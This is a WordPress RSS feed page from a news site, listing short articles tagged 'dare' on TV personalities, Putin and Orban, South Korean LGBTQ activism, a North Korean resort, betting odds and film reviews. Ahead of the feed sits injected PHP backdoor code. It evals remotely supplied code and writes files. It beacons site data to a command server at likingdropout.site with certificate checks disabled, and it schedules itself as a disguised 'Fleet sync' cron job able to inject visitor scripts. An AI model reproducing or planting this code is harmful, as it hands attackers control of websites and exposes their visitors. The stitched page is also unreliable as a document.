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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); dare – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 07 Jun 2020 16:17:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png dare – Brief News https://briefnews.eu 32 32 Holly Willoughby left squirming as embarrassing blunder goes public ‘Don’t you dare!” https://briefnews.eu/holly-willoughby-left-squirming-as-embarrassing-blunder-goes-public-dont-you-dare/ https://briefnews.eu/holly-willoughby-left-squirming-as-embarrassing-blunder-goes-public-dont-you-dare/#respond Sun, 07 Jun 2020 16:17:40 +0000 https://briefnews.eu/holly-willoughby-left-squirming-as-embarrassing-blunder-goes-public-dont-you-dare/

“Louis Walsh has texted ‘I’m Louis Walsh – you must have the wrong number! My clothes are fab, Phillip is the one you need to style!’” 

When Michael then revealed a Mr Hook had replied to Holly’s message, the This Morning presenter squealed: “Oh my God. That’s my kids headmaster!

“That was the one I worried about the most,” she added. 

Michael explained: “Mr Hook, the headmaster, he’s gone with ‘Yes of course, but I will probably be too busy with pre-pre assembly. Are my suits really that bad?’” 

“Quick text back ‘Yes, see you tomorrow,’” Michael commented while Holly was seen shouting: “No! Don’t you dare!” From the balcony. 

Romesh Ranganathan also messaged back: “If you’re a global icon, I’m the world’s most inspirational black woman.” 

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]]> https://briefnews.eu/holly-willoughby-left-squirming-as-embarrassing-blunder-goes-public-dont-you-dare/feed/ 0 Dr Hilary Jones’ appearance distracts Good Morning Britain viewers: ‘How dare you’ https://briefnews.eu/dr-hilary-jones-appearance-distracts-good-morning-britain-viewers-how-dare-you/ https://briefnews.eu/dr-hilary-jones-appearance-distracts-good-morning-britain-viewers-how-dare-you/#respond Fri, 24 Apr 2020 16:03:20 +0000 https://briefnews.eu/dr-hilary-jones-appearance-distracts-good-morning-britain-viewers-how-dare-you/

Dr Hilary Jones, 66, was on hand to present Good Morning Britain today alongside hosts Ben Shephard, 45, and Charlotte Hawkins, 44, giving his take on the unfolding coronavirus pandemic. The medical professional has become somewhat of a regular on the show since the world health crisis hit the UK and many ITV viewers have been encouraged by his advice. However, today he left them very distracted with his attire instead.

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Always smartly dressed, Dr Hilary was wearing a suit once again which consisted of a grey jacket and white shirt.

The medical professional also thought he’d change things up a bit as he wore a patterned tie, with the image print completely innocent.

As the graphics were so small, viewers could only make out the shape of a bunny rabbit and were left wondering what type of bunny it was.

Those watching at home quickly took to Twitter, which led the presenter to address what they were actually seeing on his accessory piece.

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Taking to the social media platform, one distracted viewer wrote: “Can someone please tell me what the designs are on Dr H’s tie I think it might just be lockdown but they look rather rude.”

Another added on the micro-blogging site: “Is that the Playboy bunny on Dr H’s tie?”

The comments didn’t go unnoticed as almost two hours into today’s show, Ben addressed the commotion on Twitter.

“[Some of you] have been getting in touch about Dr Hilary’s tie this morning. Someone was wondering whether it was a Playboy bunny,” the host said.

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Earlier on in the show, Dr Hilary addressed President Donald Trump’s, 73, the latest theories on how coronavirus could be treated.

The leader of the free world stated in a recent press conference ultraviolet light and disinfectant injections might help stop COVID-19 from spreading.

Of course, the medical professional debunked any idea these suggestions should be taken seriously as he voiced his concern over the comments on the show.

He told Lorraine Kelly, 60, his reaction was one of shock when he listened to what the American leader was talking about.

“Of course don’t do that at home. I mean, it’s a poison,” he opined.

“And then ultraviolet light? This is because he thinks the sun emanates from an orifice in his body, obviously.

“It’s just ridiculous. It would be funny if it weren’t quite so serious,” the medical professional added.

At the top of the show today, Dr Hilary also slammed the ideas as “crazy” after President Trump explained how disinfectant and ultraviolet light could be used as a treatment.

Good Morning Britain airs weekdays at 6am on ITV.

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]]> https://briefnews.eu/dr-hilary-jones-appearance-distracts-good-morning-britain-viewers-how-dare-you/feed/ 0 USA Network’s Dare Me: Grade It! https://briefnews.eu/usa-networks-dare-me-grade-it/ https://briefnews.eu/usa-networks-dare-me-grade-it/#respond Mon, 30 Dec 2019 13:06:00 +0000 http://briefnews.eu/usa-networks-dare-me-grade-it/

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“There’s something dangerous about the boredom of teenage girls.”

That line of voiceover during the opening minutes of USA Network’s edgy teen mystery drama Dare Me perfectly sums up the atmosphere of Sunday’s series premiere.

Adapted from the book of the same name by executive producer/writer Megan Abbott, the show is set in the world of a small-town high school cheerleading team, which is rocked by the arrival of new coach Colette French (Scream: The TV Series‘ Willa Fitzgerald). It’s her words above, as recounted by cheerleader Addy (The Get Down‘s Herizen Guardiola), that set the tone for the darkness to follow. As Addy’s voiceover tells us, the coach could see past the young girls’ glittery exteriors to the miseries beneath the surface. But most of all, “she could see that we were waiting, had always been waiting, for her. It was f–king beautiful… until it went too far,” Addy’s VO declares as we see her driving, her hands and phone covered in blood.

Dare Me RecapCue to three months earlier: Addy and her best friend, the team’s alpha captain Beth (Home and Away‘s Marlo Kelly), are discussing the upcoming arrival of their new coach. Beth’s not about to give up her team to some “ancient” 28-year-old who had to move back home. But Addy sees Colette, who’s had success as a competitive cheerleading coach, as a way out of her nothing hometown.

Colette immediately starts shaking things up within the team, putting the girls through their paces and pointing out their flaws, sometimes almost callously, like when she pinches a girl’s midsection and tells her to fix it. She also removes Beth from her position as the top pyramid girl, replacing her with her younger half-sister Tacy (Girlfriends’ Guide to Divorce‘s Alison Thornton). (Beth’s dad lives across the street with his new wife and Tacy, so Beth is extra mean to her sis, grasping her thigh so tightly that she almost topples over during the pyramid.)

Dare Me RecapMeanwhile, Addy seems to be distancing herself from Beth, causing the latter to lash out and fire off a gun while partying in the woods. (When this goes down, someone is going down on Addy, to give you a sense of how these kids are spending their free time.) Addy calms Beth, and while the two are later huddled in bed, Beth worries that “everything’s changing,” including her BFF.

Then Beth remembers that she left her phone back in the woods, so the girls go searching for it… and discover Colette having sex with the school’s Marine recruiter Sarge Will (The Vampire Diaries‘ Zach Roerig). This might not seem like a big deal since everyone is of age, but Colette is married to Matt (Imposters‘ Rob Heaps). Beth giddily videos Colette and Sarge Will in the act, while Addy exclaims to her friend that they’re not going to say anything.

“Coach told me something once. She said someday you’re going to really want something,” Addy’s voiceover recalls as the girls run through the woods. “That’s when you’ll find out who you are. But there’s a price for everything. You have to give up the old things, the things that feel easy, the things that feel safe. This is how you become strong. This is how you become a woman.”

“In the end, I couldn’t stop it. Any of it,” Addy concludes ominously.

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]]> https://briefnews.eu/usa-networks-dare-me-grade-it/feed/ 0 Putin & Orban need each other more than ever, but do they dare come closer during Moscow talks? https://briefnews.eu/putin-orban-need-each-other-more-than-ever-but-do-they-dare-come-closer-during-moscow-talks/ https://briefnews.eu/putin-orban-need-each-other-more-than-ever-but-do-they-dare-come-closer-during-moscow-talks/#respond Tue, 18 Sep 2018 09:58:50 +0000 http://briefnews.eu/putin-orban-need-each-other-more-than-ever-but-do-they-dare-come-closer-during-moscow-talks/ Hungary’s prime minister Viktor Orban arrives in Russia to meet Vladimir Putin on Tuesday with both states under diplomatic siege. Will the two downplay their political affair in front of Europe’s judging eyes?

Nominally, there is nothing notable about Orban’s one-day visit: he was last in Moscow just two months ago for the World Cup final, and the agenda made public for the face-to-face with the Russian president is geopolitically juicy, but hardly novel.

The two countries are due to renegotiate a gas supply agreement that runs to the end of 2019 – a deal will almost certainly get done at some point, though not necessarily this week, and any uncertainty will likely be over the financial terms.

Secondly, after four years of Brussels-imposed bureaucratic delays, Russia is free to go ahead with the construction of two new reactors at Paks, the vast Warsaw Pact-era nuclear power plant that produces most of Hungary’s energy. Funded primarily with Russia’s own money – in the form of a €10 billion loan – the project brings obvious benefits to both sides, and discussions will focus on dates, rather than any existential questions. Preliminary site work on the first reactor began earlier this year despite continuing legal challenges, with the two reactors scheduled to become operational in the middle of the next decade.

The partnership that dare not speak its name?

For Putin, Hungary is probably Russia’s best chance to be heard in Europe. The Austrian government, whatever the fruits of ‘wedding invite diplomacy,’ is wary of being caricatured as the Kremlin’s Trojan Horse (indeed it is Vienna that is currently trying to block the Paks project, due to its own anti-nuclear stance). On the other hand, Orban has ruled Hungary since 2010, and has just scored another resounding win. The Hungarian prime minister has repeatedly advocated the dropping of sanctions against Moscow, introduced over Crimea four years ago.

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For Moscow, currying influence with Orban has no downsides – other than having to signal its friendliness with financial incentives. While four-fifths of Hungary’s trade is with the EU, its trade volume with Russia rose by a quarter in 2017. Being a much bigger economy, Russia can afford the hit, and in most cases economic cooperation with Budapest would be a win-win for both countries anyway.

For Orban, the calculus is harder. While his “illiberal democracy” policy is part provocation against Brussels, the country remains one of the biggest beneficiaries of European funds in relative terms. It is a member of NATO, and stood alongside other EU nations during the Skripal expulsions.

While Fidesz’s majority in parliament remains rock-solid, Orban’s own narrative inside Hungary is of an anti-Communist activist who is defending a young democracy from a leftist European establishment. Much as it flatters Orban to become a player on the world stage, it is unclear if he actually wants to stand side-by-side with Vladimir Putin, a man with whom he insists he “has no personal relationship.”

On the other hand, Orban will be swayed by any tangible benefits offered to Russia. An internationally underrated aspect of his government’s success is its stellar economic performance – it has consistently outpaced the sluggish EU growth rates, with the economy predicted to expand by over 4 percent in 2018. Guaranteeing energy security for decades ahead through cooperation with Moscow is a tempting option for Orban.

But in the end, the results of the Putin talks will hinge not on numbers, but courage. For its part, Moscow is always going to be open to a quid-pro-quo with Budapest. But is Orban ready to withstand the heckles that will come his way from Brussels and elsewhere in Europe for working with Putin? And will foreign pressure push Orban and Putin closer together, or force them apart? Tuesday can begin answering these questions, though any signs of closeness between the two leaders may come through anodynely-worded statements, rather than love sonnets performed in public.

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]]> https://briefnews.eu/putin-orban-need-each-other-more-than-ever-but-do-they-dare-come-closer-during-moscow-talks/feed/ 0 They Dare to Rally for LGBTQ Rights in South Korea https://briefnews.eu/they-dare-to-rally-for-lgbtq-rights-in-south-korea/ https://briefnews.eu/they-dare-to-rally-for-lgbtq-rights-in-south-korea/#respond Thu, 02 Aug 2018 04:28:22 +0000 http://briefnews.eu/they-dare-to-rally-for-lgbtq-rights-in-south-korea/

Heezy Yang, 28, is on a mission to advocate LGBTQ issues and rights through artistic activism. A quaint conceit? Hardly. In South Korea, being gay can still get you thrown in prison.

“I’ve seen a lot of people saying there are no gays in Korea,” says Yang, who felt obliged to conceal his homosexuality most of his life. While homosexuality is not illegal, it’s taboo in a conservative country where Christianity remains the dominant faith. So, in some extreme cases, young men who serve their compulsory military services are imprisoned or undergo investigation when they’re allegedly caught having same-sex intercourse.

While conservative Christian detractors in South Korea see homosexuality as a threat, Yang sees it as an opportunity to express himself through art and raise awareness about a community that is so often ostracized and voiceless. After dropping out of university in 2013, Yang dedicated himself to art projects, illustrations, photography and performances — all focusing on LGBTQ issues and sexual minorities. He’s also the founder of the LGBTQIA+ And Allies in Korea group and Seoul Drag Parade.

… [A]head of the recently concluded Seoul Queer Parade, over 200,000 people signed an online petition demanding the “lewd” event be canceled.

“Some people are not as lucky as I am,” says Yang, who came out to his supportive family five years ago. “Which is why I carry out fundraisers and charity events for organizations that help other LGBT people and vulnerable people.” Specifically? Kids who’ve been expelled from their homes for being gay.

Which is not surprising if you consider that more than 200,000 people signed an online petition demanding that the “lewd” Seoul Queer Parade be canceled.

But Yang seems unfazed. In fact, he sees positive change. “200,000 is actually small compared to the number of people in this country.” And while coming out was impossible in his teens, Yang sees the visibility of the LGBTQ community on the rise. “The Pride Parade has grown over the years, while protester numbers have decreased.”

And Heezy Yang just might be right. This year’s event, which was notably not canceled, saw a record number of attendees — 120,000, according to organizers — making it the biggest pro-LGBTQ event in South Korean history.

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]]> https://briefnews.eu/they-dare-to-rally-for-lgbtq-rights-in-south-korea/feed/ 0 PICTURES: North Korea new holiday resort for tourists – would you dare visit? https://briefnews.eu/pictures-north-korea-new-holiday-resort-for-tourists-would-you-dare-visit/ https://briefnews.eu/pictures-north-korea-new-holiday-resort-for-tourists-would-you-dare-visit/#respond Wed, 16 May 2018 22:22:40 +0000 http://briefnews.eu/pictures-north-korea-new-holiday-resort-for-tourists-would-you-dare-visit/

North Korea is not the most popular holiday destination for UK travellers, despite it not currently being prohibited by the government.

This could soon change with images showing a new holiday resort being built by the country.

Found on the eastern coast of the country is the Wonsan-Kalma peninsular, which is where the renovations are taking place.

The three-mile stretch of beach will soon see a pyramid-shaped hotel, luxury villas and an artificial lake.

But would you travel to North Korea for a holiday?

According to NK News, it will entice travellers to visit the area, for both domestic and overseas tourists.

They state: “When the tourist area is built, it will satisfy the demand of domestic and foreign tourists.”

It was first announced this year during leader Kim Jong-un’s New Year’s address, with the images from April 27.

With many building over ten stories high, it could hold thousands of tourists at one time.

Despite wanting to attract overseas visitors, US tourists are currently banned from entering the country which doesn’t look to change in the near future.

British travel advice from the Foreign and Commonwealth Office currently advises against all but essential travel to North Korea.

The FCO warns: “The level of tension on the Korean peninsula grew considerably in 2017 due to a series of North Korean nuclear and missile tests, including two intercontinental ballistic missile tests in July 2017 and one in November 2017, two nuclear tests in 2016 and one in September 2017.

“While daily life in the capital city Pyongyang may appear calm, the security situation in North Korea can change with little notice and with no advance warning of possible actions by the North Korean authorities.

“This poses significant risks to British visitors and residents.”

Strict laws that may not be a big threat in other countries could also see travellers imprisoned in North Korea, with many tourists choosing to go on group tours for safety.

UK tourists who stray from the capital Pyongyang could also find themselves out of the remit for help.

The website advises: “The British Embassy Pyongyang can currently provide some consular assistance to British visitors to Pyongyang, but only limited assistance to those visiting parts of the country outside the capital.”

It isn’t the only surprising part of the country that UK travellers could visit.

Just a few miles from the Demilitarised Zone (DMZ) which separates North and South Korea, is the town of Paju in Seoul.

The town is a replica of the UK with fish and chip shops, red phone booths and castles.

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]]> https://briefnews.eu/pictures-north-korea-new-holiday-resort-for-tourists-would-you-dare-visit/feed/ 0 Late Mail: Can Broncos fans dare to dream? https://briefnews.eu/late-mail-can-broncos-fans-dare-to-dream/ https://briefnews.eu/late-mail-can-broncos-fans-dare-to-dream/#respond Thu, 12 Apr 2018 14:20:23 +0000 http://briefnews.eu/late-mail-can-broncos-fans-dare-to-dream/ BRONCOS fans will be hoping expected wet weather can bring a change of fortunes for Brisbane when they take on the high-flying New Zealand Warriors in Auckland tomorrow.

Interestingly, Wayne Bennett-coached teams have an excellent record in the wet, so there’s a chance of a late move in the betting market for the Broncos.

However, at least one Ladbrokes punter doesn’t think Brisbane have much hope, placing $ 5000 on the Warriors to continue their unbeaten start to the season.

Elsewhere, the North Queensland Cowboys ($ 1.30) are clear favourites to beat the Canterbury Bulldogs ($ 3.70) but punters are treating the struggling Cowboys with caution and the early money has been for the Bulldogs.

Melbourne Storm may have lost two games on the trot in what has been their worst start to a season since 2004 but one Ladbrokes punter remains confident they can become the first team to win back-to-back premierships in the NRL era.

The punter plonked $ 10,000 on Melbourne to win the competition at $ 8 and he will be keen to see the Storm return to winning form against Newcastle tonight.

It hasn’t taken long for punters to regain their faith in Canberra following their win over the Bulldogs last weekend, with the Raiders the best-backed side in the NRL this weekend.

AFL

GEELONG are sitting at 1-2 after three rounds but Ladbrokes customers still believe the Cats can win the AFL premiership.

They were surprisingly the most popular side in premiership betting after last weekend despite going down to the West Coast Eagles and losing a few key players, including Gary Ablett, to injury.

Punters are confident the Cats will return to winning form this week, with Geelong at $ 1.25 to account for a struggling St Kilda, who have drifted out to $ 4.15.

Tonight Adelaide and Collingwood do battle in a rematch of last year’s infamous draw and punters who believe a repeat is on the cards can score juicy odds of $ 34.

The Crows ($ 1.19) are very short to win at home but the early money with Ladbrokes has been for the Magpies ($ 5) to cause an upset and they will likely start shorter than their current odds.

The game of the round promises to be Sunday’s clash between Hawthorn ($ 2.15) and Melbourne ($ 1.73) at the MCG.

SUPER RUGBY

THE Waratahs have won their past seven games against the Reds but the early money suggests that Brad Thorn’s men can end that drought tomorrow night.

NSW are clear favourites at $ 1.30 for the encounter at the SCG but more than 90 per cent of the money has been for the Reds, who have come into $ 3.50 from $ 4.

The Rebels have won their past four games as home favourites.

They are at $ 1.25 to maintain that record when they host the Jaguares tomorrow afternoon.

The Brumbies are massive outsiders at $ 6 to upset the Highlanders ($ 1.13).

The Hurricanes ($ 2.50) top the Ladbrokes Super Rugby betting market from the Crusaders ($ 4), Chiefs ($ 7) and Highlanders ($ 7), before a big gap to the Lions ($ 13) and Waratahs ($ 15).

A-LEAGUE

THE race to the finals is still red-hot heading into the last round of the A-League regular season, with Western Sydney, Brisbane and Perth all still a chance to claim the final top six spot.

The Wanderers host Adelaide United in a match that doesn’t mean a whole lot for the Reds, given they’ve locked in their place in the six and will finish fifth unless the Wanderers are able to beat them by three goals or more.

It should come as no surprise that the Wanderers are the favourites to get the win. Western Sydney have been $ 1.87 into $ 1.73 with Ladbrokes since the start of the week.

Perth, who are $ 3.60 to make the six, host Brisbane tomorrow night in a match both teams need to win to put maximum pressure on the Wanderers.

The Glory are $ 2 to win, having won their past five games as home favourites, while the Roar are at $ 3.25.

Sydney FC are still the favourites in the A-League Championship betting market at $ 1.67, while Newcastle have eased to $ 5.50 following poor results in recent weeks.

COMMONWEALTH GAMES

IT HAS already been a wave of gold medals for Australia at the Commonwealth Games and the success should continue when the team sports are decided over the weekend.

The struggles for New Zealand have seen the Diamonds backed into $ 1.05 to win the netball gold medal, with England on the second line of betting at $ 12.

The Boomers ($ 1.05) and the Opals ($ 1.01) are both unbackable favourites to claim their basketball events.

The Boomers were given a genuine scare by New Zealand in the pool stages and the Tall Blacks may represent a touch of value at $ 5.

There isn’t much between Australia ($ 1.60) and New Zealand ($ 2.20) in women’s Rugby Sevens betting, while Australia are on the fifth line of betting at $ 8 in an open men’s Rugby Sevens tournament.

Best bets

Horse racing: Topweights don’t have a great record in the Sydney Cup but Almandin will still be tough to beat. Excellent in the Tancred Stakes, he is the class galloper in this field and he maps to get a lovely run in transit with Damien Oliver.

NRL: The Warriors have won four of their past six games as home favourites and the home side has won 10 of the past 12 between these two teams. The Broncos have won only one of their past six as away underdogs.

AFL: The Swans have won six of their past nine games as away favourites and they have covered the line in each of these wins. The Western Bulldogs beat Essendon last weekend but consistency has been an issue for them.

A-League: Sydney FC have had a clear edge over the Victory and the Victory have failed to win the past seven games played between the two sides. The Sky Blues have won 11 of their past 16 games as home favourites.

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]]> https://briefnews.eu/late-mail-can-broncos-fans-dare-to-dream/feed/ 0 ‘Truth or Dare’ Review: One of Blumhouse’s Worst Horror Movies https://briefnews.eu/truth-or-dare-review-one-of-blumhouses-worst-horror-movies/ https://briefnews.eu/truth-or-dare-review-one-of-blumhouses-worst-horror-movies/#respond Wed, 11 Apr 2018 14:59:59 +0000 http://briefnews.eu/truth-or-dare-review-one-of-blumhouses-worst-horror-movies/ truth or dare review

Jeff Wadlow’s Truth Or Dare is an inconsequential brand of horror likened to Stiles White’s Ouija or more recently John R. Leonetti’s Wish Upon. Actors such as heartthrob Tyler Posey and pretty little liar Lucy Hale entice younger audiences who may find a scream or two in the shallow slog, but hardcore hellhounds will sniff out confliction from scene one. Aggro college-bred stereotypes, telegraphed jumps from miles away, nonsense plot connectivity – hope you like your demon possessions overshadowed by hormonally volatile love triangles and “white girl problems.” And if you don’t? I dare you to reach the credits of this generic schoolyard excuse for genre furtherment.

We open on the altruistic Olivia (Lucy Hale) being convinced to skip her Habitat For Humanity spring break plans in favor of BFF Markie’s (Violett Beane) debaucherous south-of-the-border trip. Cut to their last night in Mexico – accompanied by four friends/significant others – and Olivia is convinced by scruffy stranger Carter (Landon Liboiron) to end the night at a “not far from here” hangout. The party follows, Carter suggests a game of “Truth or Dare” and his intentions are revealed. He only lured “pushover” Olivia to the abandoned mission chapel to sacrifice more players to an already dangerous game. Crazy, right? That’s what everyone thinks until the first death is reported back home.

Much like Wadlow’s own Cry Wolf, much like Final Destination – much like any “rules to be broken” horror movie – Truth Or Dare attempts to craft dark mythologies out of something innocent. In this game, players must choose either “truth” or “dare” when asked in turn. Failure to participate or complete what’s asked results in death. Sounds disastrously fun? Oh yeah, an onslaught of secrets being revealed like how Markie can’t stop cheating on hunk boyfriend Lucas (Tyler Posey) provides way more entertainment than elaborate daredevil stunts. Remember, PG-13 rating.

So, we know how the game works, but mythos and driving forces are harder to decipher than ancient Mayan hieroglyphics. You must understand, demons are able to possess ideas in addition to locations and bodies (as per the script’s legend). This means there’s a malicious force hunting Olivia’s dumbfounded posse that can whisper “Truth or Dare” as long as text is visible (phones, graffiti walls) or faces in view. Players can only be asked in turn order, but that’s complicated when a former player is introduced later into playtime who inexplicably had his go skipped every time? I’m not going to burden you with spoilers or leaps in logic, just understand that coincidental plot workings only service the scene at hand, crossing lines like a failed game of Cat’s Cradle.

Characters are…largely underdeveloped. Robotic genre prototypes whose empathy and situational awareness is stranded on a planet far, far away. Deaths are witnessed without nary an eye-batting, but introduce romantic drama into the mix and waterworks flow like Niagra. I mean, Olivia’s clan is cursed in Mexico but it almost never dawns on anyone that their solution probably exists where Carter literally says he was forced to lead them? Granted, they just “Google” and “Facebook” their way to revelations because search-bar tasking “Mexico Truth Or Dare” would obviously lead them to the film’s proverbial elder wisdom bequeather who’s located three hours away in Tijuana.

Wadlow’s mismanagement of tone is another nail in Truth Or Dare’s coffin, jumping from young-adult melodrama to digitized Joker’s grin “terror” without warning (ugh, those faces). One minute Olivia and Markie are exhaling fear, the next Tyson (Nolan Gerard Funk) drops another epically bro-mendous asshole comment, seconds later someone might die, cut to Markie quipping her renegade don’t-give-a-shit hardass facade, insert unsexy smash-cut sex scene – there’s no constant throughline for atmosphere to build. Matthew Margeson’s score dances with lighthearted glee more than morose key tickling, even. It’s like production forgot they were making a horror movie at times, the film’s highest-profile victim not a character at all.

Frustration mounts with every fleeting second especially because Wadlow’s impressed me before. Even some work in Truth Or Dare harkens back to his visual prowess in Kick-Ass 2, be it Penelope’s (Sophia Ali) rooftop liquor-chug walk or Ronnie’s (Sam Lerner) barroom embarrassment. Then you remember Ronnie and Tyson’s absolutely atrocious character designs and it’s back to reality – emotional beats grant minimal reaction, dialogue that of frat-boy word vomit. And those smirks? It’s hard to take an evil spirit seriously when it constantly looks hopped up on laughing gas. Wadlow’s ADR inclusion of “…looks like a bad SnapChat filter…” is no doubt a post-production add based on trailer reactions (a real overdub, I swear it).

Quite frankly, Truth Or Dare may be one of Blumhouse’s worst films to date – easily bottom ten, and I stopped counting how many I’ve seen after hitting “30.” I’d balk at describing Wadlow’s juvenile proceedings as “horror,” sans one well-timed jump scare while rummaging for hospital snacks. Otherwise scenes come together so predictably and off-kilter, unenthusiastic despite tackling themes of LGBT representation, suicide and selflessness. Intro-to-horror audiences may remain ambivalent to misguided thrills, but those expecting even moderate levels of coherence and execution are going to be severely disappointed. Like, plummeting into a crater and never hitting bottom until the credits roll.

/Film Rating: 3 out of 10

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]]> https://briefnews.eu/airlines-wont-dare-use-the-fastest-way-to-board-planes/feed/ 0 Silent Witness 2018: Fans outraged by THIS change to the series: 'How dare they!' https://briefnews.eu/silent-witness-2018-fans-outraged-by-this-change-to-the-series-how-dare-they/ https://briefnews.eu/silent-witness-2018-fans-outraged-by-this-change-to-the-series-how-dare-they/#respond Tue, 09 Jan 2018 01:39:50 +0000 http://briefnews.eu/silent-witness-2018-fans-outraged-by-this-change-to-the-series-how-dare-they/

The long-running TV drama made its BBC comeback and naturally became a huge topic of discussion amongst viewers on social media.

However, it was not the team’s latest case that got fans talking but the show’s new theme tune.

Silent Witness fans were left outraged when they discovered they could no longer sing along to the classic intro.

Some viewers took to Twitter to air their frustration, with one writing: “There’s a different arrangement to the #SilentWitness theme tune! I can’t sing my made-up words to it any more!”

“How dare they b****y change the singer on the Silent Witness theme tune and why they tryna change it up for?” (sic) added another.

A third commented: “No, no, no. One thing you don’t mess with is the #SilentWitness theme music.”

“What’s happened to the #SilentWitness theme tune? My dad and I have been practicing the high note all weekend, fuming!” complained a fourth.

In the first episode of the two-part series, the team began investigating the death of Livtar Singh (played by Adam Henderson Scott) who was found face down in a reservoir.

Also, Sally Vaughan (Emma Fielding) a friend of Dr Nikki Alexander (Emilia Fox) had vanished prompting the team to look into what had happened to her.

